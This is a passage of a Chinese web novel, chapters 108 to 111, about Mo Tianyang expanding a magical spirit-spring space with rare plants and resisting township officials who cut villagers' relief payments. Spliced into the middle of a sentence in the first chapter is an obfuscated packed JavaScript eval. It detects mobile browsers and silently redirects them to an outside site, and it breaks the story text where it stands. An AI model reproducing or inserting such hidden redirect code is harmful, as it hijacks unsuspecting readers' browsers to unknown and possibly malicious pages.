但下一刻，他心头猛地一跳！想起灵泉空间每次蜕变带来的惊喜，他立刻将目光投向水域中心那片熟悉的绿色平台——尤其是那棵挂满了璀璨金色果实的金银枣树！ 他摸着粗壮的树干，心中强烈地想着：“要是能把枣树移栽到这岛上就好了……” 念头刚起，异变再生！ 眼前的金银枣树，连同它扎根的那一小片土壤，瞬间消失无踪！ “难道……”莫天扬心脏狂跳，瞬间又回到小岛上！ 果然！那棵巨大的金银枣树正静静地躺在暗褐色的泥土中！ 强压着激动，莫天扬迅速动手，小心翼翼地将枣树栽种下去。然而，让他无奈的是，树栽好了，小岛依旧沉寂，空间也毫无变化。 心念电转，莫天扬将积攒的枣核洒在金银枣树周围，又把收集的酸溜溜种子播下。然而，小岛依旧沉寂，毫无变化。一股淡淡的失望涌上心头。 “既然有了土，总得试试别的！”他不甘心地想着，立刻动手将水上平台那些移植来的树木——几十株酸溜溜苗和无数药草——一股脑儿移到了小岛上。瞬间，小岛绿意点缀，生机盎然，可……空间本身依然纹丝不动。 莫天扬的目光落在那株从青木山得来的、形似杏树的怪树上。它静静躺在那里，经历了空间巨变，却连一片叶子都没多长！这诡异的“不变”，反而勾起了他强烈的好奇。 带着这份疑惑，他挖了个坑，小心翼翼地将这株“小杏树”栽了下去。刚准备转身去移栽老山参和黄芪，脚下大地猛地一震！ 轰隆隆！ 整个小岛剧烈颤抖起来！天空中风起云涌，能量激荡！莫天扬一个趔趄，愕然低头看向刚栽下的小树—— 只见它周围的土地如同活物般，正以惊人的速度向四面八方蔓延、拓展！而那小树本身，也正以肉眼可见的速度抽枝、长高！ “这……！”莫天扬惊得目瞪口呆。同样是从外界移入的物种，金银枣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109293|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无反应，这株看似不起眼的“小杏树”竟能引动如此天翻地覆的变化？！ 小岛的震动愈发猛烈，狂暴的能量冲击让莫天扬气血翻腾，难受至极。他毫不犹豫，纵身跃入旁边翻腾的灵泉水域，再次让清凉的生命之水涤荡周身。 当空间的震荡终于平息，莫天扬睁开眼，望向小岛方向—— 眼前的景象让他瞳孔放大，呼吸都为之一滞！ 小岛已彻底改头换面！面积从可怜的两三亩，暴增到上百亩之广！放眼望去，一片郁郁葱葱： 成片的金银枣树挂满了沉甸甸、金灿灿的果实，压弯了枝条。 连绵的酸溜溜灌木丛，果实殷红如血，散发着诱人的酸甜气息。 而最令人震撼的，是占据了大片区域的一片茂密杏林！枝头上，挂满了硕大无比的赤红色杏子，每一个都有半斤重，色泽鲜艳欲滴！ 金银枣和酸溜溜他都尝过，此刻目光完全被那奇异的赤红大杏吸引。他快步走到杏林边，摘下一颗沉甸甸的果子。一口咬下—— 噗嗤！ 赤红的汁水瞬间迸溅！甜润中带着一丝恰到好处的酸爽，果肉细腻无渣，口感竟比最上等的蜜桃还要美妙！更令他惊奇的是，这杏子不仅表皮赤红，连果肉也如同浸染了晚霞，呈现出诱人的深红色！ “这……”莫天扬一边大快朵颐，心中疑窦丛生：明明只栽了一株小树苗，怎么会凭空长出一片如此规模的杏林？ 他压下心头的震撼，快步走入杏林深处，试图寻找答案。片刻之后，他在林中心地带猛地停住脚步，愣在了原地！ 眼前是一片约莫数百平米的圆形空地，仿佛杏林的核心。空地中央，孤零零地生长着一株……他无比熟悉的“小杏树”！正是他亲手栽下的那株！ 此刻，它长高了些许，约莫一米五左右，株干依旧斑驳嶙峋，透着一股沧桑。然而，它的枝头没有一颗杏果，只盛开着……九朵杏花！ 这九朵杏花，形态各异，竟呈现出九种截然不同的瑰丽色彩！赤、橙、黄、绿、青、蓝、紫……更有两种莫天扬从未见过的奇异色泽！九色花瓣在柔和的光晕下流转着梦幻般的光泽，美得惊心动魄，也神秘得令人费解！ “想不通就不想了！”莫天扬甩甩头，灵泉空间带来的奇迹早已让他**以为常。他念头一转，想起了黑市买回的那株怪树。 心念微动，那株形态奇特、根部裹着血色泥土的小树出现在他脚边。他看了一眼散发着奇异芬芳的杏林，快步走出林区，在附近找了块空地，小心翼翼地将怪树栽了下去。 就在他刚直起身，准备离开的刹那—— 嗡！ 脚下的土地再次传来熟悉的震动！ 莫天扬猛地回头，目光死死锁定那株刚刚栽下的怪树！难道……它和那株小杏树一样，也是能引动空间剧变的神物？！ 这一次的空间震荡持续时间不长，但变化却清晰可见！那株怪树如同被注入了生命源泉，以肉眼可见的速度拔高、舒展！转瞬之间，便从尺许高长到了一米五六！ 然而，当空间恢复平静，怪树停止了生长。没有开花，没有结果，只是静静地伫立在那里，仿佛一尊沉默的雕塑。 莫天扬心中不免掠过一丝失望。他摇摇头，转身欲走。可就在抬脚的瞬间，一缕极其淡雅、却又异常独特的幽香，若有若无地飘入他的鼻端…… 第一百零八章应该是茶？ 转身回去，莫天扬随手摘了些弥漫着特殊香味的新叶，这才带着明显又大了一圈的小白离开灵泉空间。将叶片放在桌上，刚打开房门，小白便蹿了出去。望着它更显矫健的背影，莫天扬心中微动：看来空间的剧变，对这小家伙好处不小。 翌日清晨，洗漱完毕的莫天扬推开房门，深深吸了一口饱含果蔬清香的空气，一股回归自然的畅快感油然而生，几乎想放声高呼。在沛川那三天，虽有佳肴美馔、朋友相伴，却远不及此刻身处家园的舒心自在。 大院中，新房的地基已然完工。整片区域被厚实的混凝土牢牢覆盖，宛如一个深埋地下的坚实堡垒。 启动抽水机，莫天扬信步来到池塘边。盛放的荷莲将水面温柔环抱，散发出沁人心脾的幽香。成群的鸭鹅在莲叶间穿梭觅食，悠然自得。他蹲下身，将富含生机的灵泉水缓缓注入池塘。 哗啦！ 水面瞬间沸腾！密密麻麻的鱼蟹从四面八方涌来，争抢着这蕴含灵机的甘露。 看着水中欢腾的景象，莫天扬心中一动。他意念微转，将灵泉空间水域中那些肥硕的鱼蟹也悄然转移到了这片池塘里。 来到西红柿地，累累硕果挂满枝头：第四层的果实红得透亮，第五层也已泛出诱人的红晕，第六、第七层的小果正努力汲取养分。看着这丰收景象，莫天扬心中感慨：爷爷过去在院里种西红柿，顶多收到第四层。如今有了灵泉水滋养，无需担忧气温，七层果实都能饱满成熟！ 他在田边放了些从空间摘取的蔬菜，又走向瓜地。短短三天，成熟的香瓜和西瓜少了许多。他心念再动，补上了差不多一车的西瓜和香瓜，这才满意离开。 曾被毁掉的那几十亩菜地，如今虽无蔬菜，却被一寸多高的苜蓿覆盖，绿意盎然，焕发着勃勃生机。 新承包的沙地上，大片区域已被整理出来。田边堆着小山似的碎石。望着这些碎石，莫天扬心头忽然闪过一个念头。 待陈峰、胡标等人陆续到来，菜地和沙地都热闹起来。“标叔，勇叔，您二位过来一下。”莫天扬招呼道。 曹勇和胡标跟着他走到正在改造的沙地边，面露疑惑。现在的改造方法还是沿用开春时的老路子，莫天扬特意叫他们过来…… “天扬，是不是沙地里的碎石没捡干净？我这就去跟他们说。”胡标问道。 莫天扬摇摇头，指了指那堆碎石：“标叔、勇叔，我是看这些堆放的碎石……” “哦，这个啊，”曹勇接口道，“这几天拖拉机忙得连轴转，等过些天空下来，就拉去倒进沟里填埋。” 莫天扬再次摇头：“标叔，勇叔，咱们现在有三百多亩地了，可连条像样的路都没有。等真种上东西，往外运菜运粮得多费劲？我想着，不如就用这些碎石铺路！把田地分隔开，修成田间路网，以后种地、运输都方便。” 胡标和曹勇对视一眼，都皱起了眉头。胡标沉吟道：“天扬，修路这事我们也琢磨过。原先沙地边上是有土路的，只是这些年荒废，被沙子埋了。可要用碎石铺路分隔田地，肯定要占掉好几分地。虽说沙地不值钱，但要是村民们不同意……” “我有三十年的承包期，”莫天扬语气坚定，“用碎石铺路不会伤着地。咱们先跟大伙儿说清楚，路是临时铺的。哪天我不再承包了，我负责把这些碎石路挖掉，把地恢复原样！” “这倒也是个办法，”胡标点头，“等下我们就去找大伙儿说说，应该能行。” “对了，标叔，”莫天扬状似无意地问，“山脚下那片大戈壁滩，是谁家的地？” 胡标一愣：“那片啊？大集体时候村里试着种过，可全是砂石，种啥死啥，后来就彻底荒了。包产到户那会儿，白送都没人要！天扬，你问这个干啥？那地方可没啥开发价值，纯粹是片废地。” 莫天扬笑了笑：“没事，就随口问问。” 在外头转了一圈回来，莫天扬走进简易房，发现刘思雨和颜若曦已经不在。想到她们各自有事，也就没在意。 他的目光落在桌上那个装着叶片的袋子上，微微蹙眉。沛川黑市那株怪树根部泥土的奇异茶香让他记忆犹新。昨天移栽后，空间里那树弥漫开的香气虽然独特，却与他熟悉的茶香相去甚远。 他坐下来，倒出几片叶子，拿起一片放入口中细细咀嚼。苦涩过后，一股难以言喻的、带着山野灵韵的清冽甘香竟在舌尖萦绕开来！ “嗯？”莫天扬眼睛一亮。 本想拿去问问爷爷，转念一想，青木山似乎从未听说有野生茶树。他深吸口气，打开电脑，开始查找茶叶的制作工艺。 虽然是个新手，但蜕变后的学习能力远超常人，加上网上教程详尽，他很快就掌握了制茶的基本步骤。 下午，莫天扬正在小心翻晾那些叶片，一阵刺耳的刹车声骤然响起！他转头看去，只见刘思雨那辆红色轿车风风火火地停在院外。 莫天扬皱了皱眉。这几天刘思雨虽住这儿，白天都在村里忙，只有饭点和晚上才回来。这个点急匆匆赶回来…… “忘带东西了？”他扬声问道。 刘思雨快步走来，看到他还在侍弄那些“破树叶”，又气又急：“你还有闲心在这儿摆弄这些叶子！” “出什么事了？”莫天扬心头一沉。 “乡里刚开了会！”刘思雨语气急促，“他们认定你承包那二百多亩沙地没经过乡里审批，不具备法律效力！更离谱的是，他们正式发文，不允许你在青木村建酒厂！通知这两天就会派人下来‘处理’！” 莫天扬听完，脸上反而露出一丝冷笑：“土地国有是没错。但《土地管理法》规定，依法承包用于农业种植的土地，别说乡里，就是土地管理部门也无权随意收回或干涉！我是从土地所有权人手里合法承租，根本不需要他们审批！至于酒厂，就建在我自家院子里，所有手续一应俱全，关他们屁事！” “话是这么说！”刘思雨急道，“可一旦他们闹起来，天天找你麻烦，你在村里还怎么安心发展？毕竟强龙不压地头蛇！” “地头蛇？”莫天扬嗤笑一声，目光锐利，“青木村的土地大片大片荒芜，都快变成沙漠了，他们在干什么？我现在搞种植，给村里创造就业机会，带动发展！他们呢？他们眼里只有怎么从我这里抢钱！跟这种只认钱不认理的人讲道理，你觉得有用吗？那天他们的嘴脸，你不是没看见！” 这番话让刘思雨瞬间哑口无言。那天乡干部的无耻要求她记忆犹新。若非莫天扬当场撕破脸，换做别人，别说建酒厂，恐怕连院子里的菜地都保不住！ 一股强烈的悔意涌上心头。当初毕业时，多少名企大厂向她抛来橄榄枝，她却为了“建设家乡”选择了考公。知道莫天扬在村里创业，她更是主动请缨来青木村当村支书，本想助他一臂之力。可如今，面对乡里的刁难，她竟如此无力…… “那……你说现在怎么办？”她声音有些低落。 “晾着他们！”莫天扬语气斩钉截铁，“他们要真敢来闹事，那是自寻死路！手中的权力再大，也大不过国家法律这把尺子！” “思雨，你怎么回来了？”颜若曦的声音从门口传来。看到两人神色凝重，她快步走近。 刘思雨没有隐瞒，将乡里的决定复述了一遍。 “这帮蛀虫！简直是在作死！”颜若曦柳眉倒竖，怒道，“别怕他们！要是敢来，我马上开直播曝光！让全国人民看看他们的嘴脸！” 莫天扬眼神一闪，立刻摇头：“不行！你好不容易才把账号做到今天这个规模，影响力来之不易。一旦曝光这种地方性冲突，很容易被平台判定为敏感内容封号！你这么多年的心血就白费了！” “那……难道就由着他们欺负？”颜若曦不甘心。 莫天扬淡然一笑，目光看向远方：“我又没违法，他们能把我怎么样？无非是吠几声罢了。村里老人有句话：听见狗叫，难道贼就不睡觉了？随他们蹦跶，咱们该干嘛干嘛！” 刘思雨看着莫天扬脸上那副波澜不惊的淡然，心头不禁泛起涟漪。高中三年同桌，记忆中那个沉默寡言、遇事总是畏缩不前的少年，与眼前这个面对刁难依然气定神闲的莫天扬，简直判若两人。陌生感油然而生。 “天扬，这是什么叶子？”颜若曦好奇地拿起一片叶子，放在鼻尖轻嗅。下一秒，她杏目微睁，闪过一丝惊艳——她出身优渥，品过无数名茶，却从未闻过如此奇特的清冽幽香！ “应该是茶叶吧。”莫天扬随口应道。 这模棱两可的回答让两人同时一愣，颇感无语。颜若曦追问道：“你从哪儿弄来的？这香味……真的很特别！” 莫天扬随手朝青木山方向一指：“今儿起得早，进山溜达了一圈。闻着这叶子挺香，就摘了点回来试试，也不知道算不算茶。” 这话一出，刘思雨和颜若曦相视一眼，更是哭笑不得。单凭“闻着香”就认定是茶，还煞有介事地摘回来研究——这种“跟着感觉走”的事儿，恐怕也只有莫天扬干得出来了。 第一百零九章找寻血瓜瓜 刘思雨带来的消息，虽莫天扬并不在意，心头终究像堵了块石头。看着刘思雨和颜若曦离开，他也无心再翻药草典籍，索性信步走向菜地深处。 信步间，忽闻一阵“咕咕”声。莫天扬心头微动，循声望去。只见一片黄瓜地，数十只羽毛油亮、色彩斑斓的成年山鸡正领着上百只半大的小山鸡悠然觅食。 察觉有人靠近，山鸡群一阵骚动，扑棱着翅膀四散逃开。然而，跑出几米后，几只领头的成年山鸡似乎认出了莫天扬，停下脚步，试探性地“咕咕”叫了几声。它们迟疑片刻，竟慢慢折返，小心翼翼地向莫天扬围拢过来。 莫天扬扫了眼远处菜地里劳作的村民，不动声色地转过身，背对着他们蹲了下来。摊开的手心，悄然渗出几缕清冽的灵泉水。 久未品尝这甘霖的成年山鸡立刻贪婪地啄饮起来。饮罢，它们发出几声独特的鸣叫，那些原本躲闪的小山鸡也怯生生地靠近，加入了啜饮的行列…… 喂完山鸡，莫天扬想起自菜园开张就没顾得上看过的野兔养殖区。那是一片靠院墙用铁丝网围起来的区域，墙根下垒着不少砖石砌成的兔窝。 推开栅栏门走进去，惊起一片灰影，野兔们惊慌失措地窜回各自的窝里。莫天扬定睛一看，不由得咋舌——当初不过抓回来几只，如今竟繁衍成了四五十只、膘肥体壮足有三四斤重的大兔子！这野兔的繁殖力，实在惊人。 在兔舍逗留片刻，莫天扬转向院子西侧。这里是一片宽约百余米的荒地，与别处一样，植被稀疏得可怜。只有些顽强的骆驼刺和几株枝叶凋零的老胡杨，在贫瘠的沙土中艰难求存。 这里依稀还能辨认出曾是通往青木山的土路，那个时候这条路可是承载了山下庄稼运输，而随着农田荒废、人们外出打工，这条通往青木山的大道也跟着荒废消失。 莫天扬的目光在这片荒芜的土地上停留良久，深深吸了口气。一个念头在他心中盘旋：既然这条土路已经荒废，不知道自己能不能利用起来。 穿过这片荒废之地，绕过几株虬枝盘曲的老胡杨，眼前豁然出现一道巨大的伤痕——一条宽逾百米、深达十几米的沟壑，如同大地的裂口，从青木山方向蜿蜒而下，将青木村和大片沙地分割。沟底，尽是枯死的胡杨与红柳的残骸，能挣扎着活下来的，十不存一二。 望着这条死寂的沟壑，莫天扬心中涌起一阵悲凉。他清晰记得，拿到大学录取通知书那几天，他还曾来过这里。那时沟中虽也荒凉，但尚有一半多的胡杨红柳顽强地活着，是他和伙伴们童年的乐园。短短四年，竟已满目疮痍，生机凋零。 他极目远眺青木山的方向，思绪翻涌。那些隐匿在山中的水源点……若能将其汇聚起来，这条深沟，或许将成为他未来最大的依仗。 “天扬，干啥呢？”一个熟悉的声音从身后传来。 莫天扬转身，看到戴着草帽的陈宏利正朝他走来。陈宏利回来时间不长，但日日在田间地头劳作，皮肤已晒得黝黑发亮。 待他走近，莫天扬很自然地伸手拿过他手里那瓶冰镇矿泉水，也不问对方喝过没，拧开盖子就灌了几大口。凉意直透心脾，也压下几分心头的燥热。 把水递还回去，莫天扬抬手指向沟壑，声音低沉：“宏利，雀沟……快没树了。” 陈宏利顺着他的目光望去，脸上也浮起苦涩的笑容。雀沟，顾名思义，曾是百鸟翔集、生机勃勃之地，也是他们儿时撒野的乐园。 “唉，”他叹了口气，“这几年老天爷不下雨，山洪也不发了。沟里那些老树，太密了，争不到水，枯死……也是没法子的事。” “也不知道沟里还有没有‘血瓜瓜’了。”莫天扬喃喃道，眼中带着一丝期待。 陈宏利微微一怔。“血瓜瓜”啊！那可是种稀罕的野瓜，不光甜如蜜，瓤子更是红得像血！小时候，只有雀沟深处才能寻到，是他们这群野小子最惦记的零嘴儿。村里不是没人试着种过，可即便秧苗长得再好，也从不结果。 “要不……下去找找？”陈宏利也被勾起了兴致。 莫天扬眼睛一亮，点头答应。那独特的香甜滋味瞬间勾起了回忆。更重要的是，如今他有灵泉空间这逆天之物，说不定真能让这绝迹的美味重现人间！ 两人找到儿时下沟的路径，在枯木残骸间仔细搜寻…… 一个多小时后，别说血瓜瓜，连其他熟悉的野果子都寥寥无几。入眼尽是更多枯死的红柳和胡杨，一片死寂。 “天扬，算了吧，没了。”陈宏利泄气地抹了把汗。 “你先回，我再往前探探，待会儿从青木山那边绕回去。”莫天扬不甘心。 “行吧，那你当心点！前头全是枯死的酸溜溜刺丛，可别给划成花猫脸！”陈宏利叮嘱完，转身离去。 莫天扬抬眼望向沟壑深处，叹了口气。前方曾是茂密的酸溜溜丛，如今也因缺水大片枯死。他深吸口气，一头扎进了那片密集的枯枝败叶中。 尖锐的枯刺如同无数小刀，裸露的皮肤很快添上道道血痕。血瓜瓜的踪影却依然渺茫。想回头，看看身后钻进来的艰难路径，他咬咬牙，只能硬着头皮继续往前拱。 胳膊上又多了几道火辣辣的口子，莫天扬心里直后悔：小时候找血瓜瓜虽然难，可也没遭过这罪啊！ 就在这时，一股若有若无、却无比熟悉的异香随风飘来！ 莫天扬精神一振，循着香味奋力扒开枯枝。终于，在一处低洼的背阴处，他看到了一片难得的绿色——一小片顽强生长的野草！草丛掩映下，几片灰绿色的藤叶格外显眼！ 他屏住呼吸，小心拨开草丛和藤叶——三个拳头大小、外皮墨绿、形如秤砣的野瓜，赫然躺在那里！ “找到了！”莫天扬心头狂跳，压抑着激动蹲下身。他挑了个熟透的摘下来，在衣襟上蹭了蹭，手指用力一捏—— 噗！ 瓜皮裂开，露出里面血玉般鲜艳的瓜瓤！一股比香瓜浓郁数倍、带着山林气息的奇香瞬间弥漫开来，让他忍不住深深吸了一大口！ “运气真好！熟透的居然没被獾子祸害！”他庆幸不已。迫不及待地咬下一口，那久违的、甜到心坎里的滋味瞬间在舌尖炸开，儿时的欢乐时光仿佛一下子涌到眼前！ 他几口吃完瓜肉，小心翼翼地将饱含种子的血红色瓜瓤收好——这可是让血瓜瓜重现人间的希望！目光转向藤蔓上剩余的两个青涩小瓜，他略一思索，便找来树枝，小心翼翼地将整株藤蔓连根带土挖出，心念一动，送进了灵泉空间。 就在藤蔓消失的瞬间，他清晰地感到胸口印记传来一阵熟悉的灼热！ “成了？！”莫天扬又惊又喜，没想到一种野瓜竟也能引动空间！ 不甘心的他又搜寻了近一个小时，直到夕阳西沉，再无所获。他找了个缓坡爬上沟壑。沟里不觉得，这一上来，汗水浸透，被酸溜溜划破的伤口顿时火辣辣地疼起来。低头一看，衣服也被划破了好几道口子。 “天扬！你这是钻哪去了？咋弄成这副模样？”刚回到院子，正在准备晚饭的陈峰、曹慧等人看到他这“挂彩”的样子，全都惊呆了。颜若曦更是秀眉紧蹙，眼底满是心疼。 莫天扬咧嘴一笑，带着点狼狈的得意：“下午去雀沟逛了一圈，想找点血瓜瓜尝尝鲜。嗐，里头那些枯酸溜溜刺，太密了……” 陈峰无奈摇头：“那玩意儿早些年就绝迹了！你咋不先问一声？看这一身划痕，晚上沾了汗得多疼！” “没事儿，皮糙肉厚抗造！”莫天扬浑不在意，“不过我还真找到了几株！瓜还没熟透，过几天我去收点种子，试试看能不能种出来。” 陈峰仍是摇头：“难啊！过去村里多少‘老把式’都试过，秧子能长，就是不结瓜！当然，你是大学生，有文化，又能种出那么好的菜，兴许能成……要真种出来了，那可真是‘蝎子粑粑——独一份’了！” “峰叔，血瓜瓜到底是什么瓜呀？”颜若曦好奇地问。 “一种野生的甜瓜，模样跟香瓜有点像，可比香瓜甜得多，香得更冲！以前也就雀沟里有，别处从没见过。”陈峰解释道。 “天扬！带我去看看呗！”颜若曦兴致勃勃。 莫天扬低头瞅瞅自己划破的衣服和渗血的胳膊，又想想沟底的景象，苦笑道：“你确定要去？那下面可全是枯树杈子、酸溜溜刺，跟荆棘阵似的。” 颜若曦想象了一下，吐了吐舌头：“那……还是算了吧。等你下次去的时候，记得拍视频给我看看！” “没问题，到时候让你也尝尝血瓜瓜，保证你吃了一次还想要第二次。” 第一百一十章停发扶助金？ 灵泉空间的小岛上，一片新开辟的区域正散发着令人沉醉的浓郁瓜香。莫天扬站在田边，眼中满是难以抑制的激动！ 虽然胸口的印记反应微弱，但移栽进来的那株血瓜瓜藤蔓，此刻已蔓延成一片生机勃勃的瓜田，足有一亩见方！瓜秧翠绿茂盛，藤蔓下密密麻麻结满了墨绿色的血瓜瓜，个个都有三四两重，个头堪比市场上最饱满的香瓜！ 他深深吸了一口这醉人的香气，随手摘下一个。只听“咔”一声脆响，瓜应声裂开——血红色的瓜肉鲜艳欲滴，瓜瓤饱满，流淌出的汁液如同上等蜂蜜般浓稠粘滑。 将瓜瓤甩到旁边的空地（为的是取种），莫天扬迫不及待地咬了一口。瞬间，一股远超雀沟野瓜的极致甘甜与馥郁果香在口中爆发！ “绝了！”他心中暗赞。本以为空间改良的香瓜已是巅峰美味，没想到儿时记忆里的血瓜瓜，在灵泉滋养下才展现出真正的王者之姿！ 可惜，这宝贝暂时还不能拿出去。莫天扬忍着心痛，捏碎了一个又一个熟透的血瓜瓜，将种子洒在空地上。他知道，不出几天，这里又将繁育出一片新瓜田，可一想到这些捏碎的瓜若拿到外面都是白花花的银子，还是忍不住肉疼。 不知捏碎了多少个，他才停下动作。环顾生机盎然的小岛，昨夜撒下的金银枣种子已长成一米五六的小树，枝头挂满了金灿灿的果实；酸溜溜的覆盖面积也显著扩大，红宝石般的果实点缀其间。 看着大片尚待开垦的肥沃土地，莫天扬心头火热，一个念头疯狂滋生： 种！种！种！ 必须种满所有空地！ 空间里已有的蔬菜并未引起太大变化，倒是新引入的高粱、谷子、黍子这些主粮作物，让空间产生了一丝微妙的波动。 至此，他大致摸清了规律：引入全新的、尤其是稀有的物种，才是引动空间剧变的关键！这个发现让他懊悔不已——那天在执法者追逐中丢失的背包里，可是装着不少珍贵的异域蔬菜种子啊！连同陪伴他近五年的旧背包，都让他心疼不已。 …… “天扬，今儿个捡着金元宝了？乐成这样！”曹克雄的声音打断了莫天扬的思绪。 莫天扬把刚摘下的香瓜放到瓜堆上，笑着掩饰：“天天不都这样？能有啥喜事。” 曹克雄撇撇嘴：“糊弄谁呢！咱哥几个还不了解你？没好事你能笑成一朵花儿？该不会是昨晚若曦和思雨……嘿嘿，跟你表白了吧？”他促狭地挤挤眼。 莫天扬哭笑不得，赶紧看看四周：“别瞎咧咧！让她们听见多不好！” “啧，你小子，真是块不开窍的榆木疙瘩！行了行了，你忙你的，瓜交给我摘！”曹克雄挥挥手。 菜地所剩不多，人手也够。莫天扬点点头：“成，那我再去雀沟转转。” “还去？”曹克雄一愣，“你不是说那血瓜瓜还得几天才熟吗？” 莫天扬哈哈一笑，眼中闪着光：“这几天正是关键时候，没准儿运气好，还能再寻着几株宝贝呢！” 雀沟深处，莫天扬找了块阴凉地坐下。他从灵泉空间取出三个血瓜瓜放在身边，抬手轻抚趴在身旁的小白光滑的皮毛。 突然，小白猛地站起身，浑身肌肉绷紧！莫天扬心中一凛，下意识环顾四周——小白虽小，却深得大青真传，警觉性极高！此处已近青木山深处，它的反应必有缘由！ 他抄起一块石头，警惕地站起来，目光扫视。然而，预想中的危险并未出现，反倒是一股浓郁的瓜香扑鼻而来。 低头一看，莫天扬不由得失笑——这小家伙！竟然趁他不备，咬开了一个血瓜瓜，正吃得欢实！ “嘿，你个小机灵鬼，还学会声东击西了？”莫天扬笑骂一句，却毫无责备之意。空间里血瓜瓜足有一亩多，他根本不心疼。更何况小白是他一手带大的伙伴，吃点瓜算什么？ 小家伙胃口大开，一口气竟吃了八个才心满意足。吃饱后，它惬意地把大脑袋枕在莫天扬腿上，闭目养神。 嗡嗡嗡…… 手机震动打破了宁静。莫天扬掏出手机，看到是胡振南的号码，立刻接起：“振南？我在雀沟，有事？” “天扬！快！快回来！出事了！”胡振南的声音透着焦急。 莫天扬眉头紧锁。胡标他们能解决的事，胡振南不会专门找他。能让胡振南如此慌张，必是大事！ 他迅速用衣服裹好带来的三个血瓜瓜，拍了拍小白的脑袋：“小白，走，回家！” 赶回帐篷区，眼前的景象让莫天扬心头一沉。帐篷下挤满了人，个个脸色灰败，愁云惨淡。胡标、曹勇、陈峰几个主事人也低着头，沉默不语。帐篷外，颜若曦和刘思雨焦急地来回踱步，脸上写满了凝重和忧虑。 “出什么事了？”莫天扬快步上前。 看到莫天扬回来，刘思雨和颜若曦也立刻挤进帐篷。刘思雨深吸一口气，声音带着压抑的愤怒：“刚刚接到乡里的正式通知！他们要停发所有……和你签了土地承包合同的村民的贫困扶助金！” “呵！”莫天扬发出一声冰冷的嗤笑，“好手段！真是下作到家了，连这种阴招都使得出来！” “天扬啊，”人群中一个姓李的老汉愁苦地开口，“我家一年就指望着那一千多块扶助金活命呢！对你来说不算啥，可那是我们老两口几个月嚼谷（生活费）啊！所以……你看这……”他的话没说完，但那意思再明白不过。 莫天扬心头像被重锤砸了一下，深吸一口气：“李叔，扶助金发不发，是国家根据实际贫困情况定的！只要家里真穷得揭不开锅，别说乡里，就是县里也没资格说停就停！” 胡标抬起头，脸上满是苦涩：“天扬，你不清楚这里面的事。按国家那严标准，咱村能领这钱的，十家里头怕有六七家都不够格！往年是因为地都荒着，穷得实在没办法，乡里才睁一只眼闭一只眼……现在他们拿这个卡脖子，是掐住大伙儿的命门了！” 莫天扬的心瞬间揪紧。一千多块！对有钱人不过一顿饭钱，但对这些挣扎在温饱线的村民，那就是活命的钱！这种滋味，他曾经刻骨铭心地体会过！ 他承包沙地，一亩才五十块。那些地少的村民，怎么可能为了区区几百块的租金，放弃这赖以生存的一千多块扶助金？ “思雨，”莫天扬转向刘思雨，声音低沉，“他们明确说了，只停和我签合同的村民？还是全村都停？” “现在通知上点名的是和你签合同的村民！理由……还用说吗？”刘思雨咬着唇，“标叔说得对，他们就是抓住这个把柄，用扶助金逼你就范！” 莫天扬缓缓点头，眼神锐利如刀：“为了达到目的，还真是……不择手段！” 莫天扬那句“不择手段”像一块冰冷的石头，砸在沉闷的帐篷里，让原本就压抑的气氛几乎凝固。 村民们的目光都聚焦在他身上，那里面有期盼，有焦虑，更有深深的无奈。一千多块，是柴米油盐，是孩子的学费，是老人看病的指望。乡里这招，太毒了，直接戳在了村民最脆弱的地方。 胡标看着莫天扬紧锁的眉头，叹了口气，声音干涩：“天扬，这事……难办啊。胳膊拧不过大腿，要不……” “标叔！”莫天扬猛地打断他，眼神锐利如刀锋扫过在场的每一张脸，“拧不拧得过，得拧了才知道！他们用这种下三滥的手段，就是吃准了我们怕，吃准了我们会为了那点扶助金低头！” 他深吸一口气，压下翻腾的怒火，强迫自己冷静下来。愤怒解决不了问题，他需要的是对策。 “李叔，各位叔伯婶子，”莫天扬的声音沉稳下来，带着一种不容置疑的力量，“扶助金的事，我来想办法。乡里敢停，我就敢让他们吐出来！但前提是，大家得信我，得稳住！” “天扬，不是我们不信你，”李老汉愁眉苦脸，“可这钱要是真停了，家里揭不开锅啊……” “李叔，”莫天扬走到他面前，目光灼灼，“给我三天时间。三天！如果三天内，我不能给大家一个满意的交代，让大家因为跟我签了合同而断了活路，那这地，我莫天扬不包了！大家的损失，我砸锅卖铁也赔上！” 这话掷地有声，带着一股破釜沉舟的狠劲。帐篷里瞬间安静下来，连呼吸声都清晰可闻。砸锅卖铁？这话从莫天扬嘴里说出来，分量太重了。村民们面面相觑，眼神复杂。 胡标心头一震，急道：“天扬！别冲动！这事不能这么干！” “标叔，我没冲动。”莫天扬转向他，语气坚决，“我既然敢回来，敢带着大伙儿干，就不是为了让人戳脊梁骨的！他们想用这招逼我就范，逼大家跟我离心？做梦！” 第一百一十一章伤敌一千自损八百 他环视众人，声音洪亮起来：“大家伙想想，乡里为什么费尽心机要整我？是因为我种菜能赚钱。没有给他们好处，我带着大家把荒沙地变宝地，让青木村有了盼头！他们眼红了，坐不住了！他们怕的不是我莫天扬这个人，是怕咱们青木村的乡亲们有了活路，有了希望，不再需要看他们脸色，任由他们拿捏！” 这番话像投入平静湖面的石子，激起了层层涟漪。村民们的眼神开始变化，从单纯的焦虑和依赖，渐渐多了一丝不甘和愤怒。是啊，凭什么？凭什么他们想发财就要掐断大家的活路？ “天扬，你说咋办？我们听你的！”人群中，一个中年忍不住喊了出来。 “对！天扬，你说咋办！” 有人带头，原本沉寂的气氛被点燃了。大家七嘴八舌，虽然依旧担忧，但莫天扬的担当和那番话点燃了他们心底被压抑已久的火苗。 莫天扬抬手压了压，示意大家安静：“好！大家信我，就听我的！第一，今天这事，谁也别出去闹，该干啥干啥，就当不知道这通知！第二，思雨！” 刘思雨立刻应声：“我在！” “你是村支书，这事你最有立场说话。你立刻起草一份情况说明，他们会给你下达一份正规的通知，你就将青木村土地承包的合法合规性，还有村民的真实贫困状况，一五一十写清楚。重点强调他们以停发扶助金为要挟，干涉合法承包经营的行为！写好后，盖上村委会的公章，直接送到县里。” 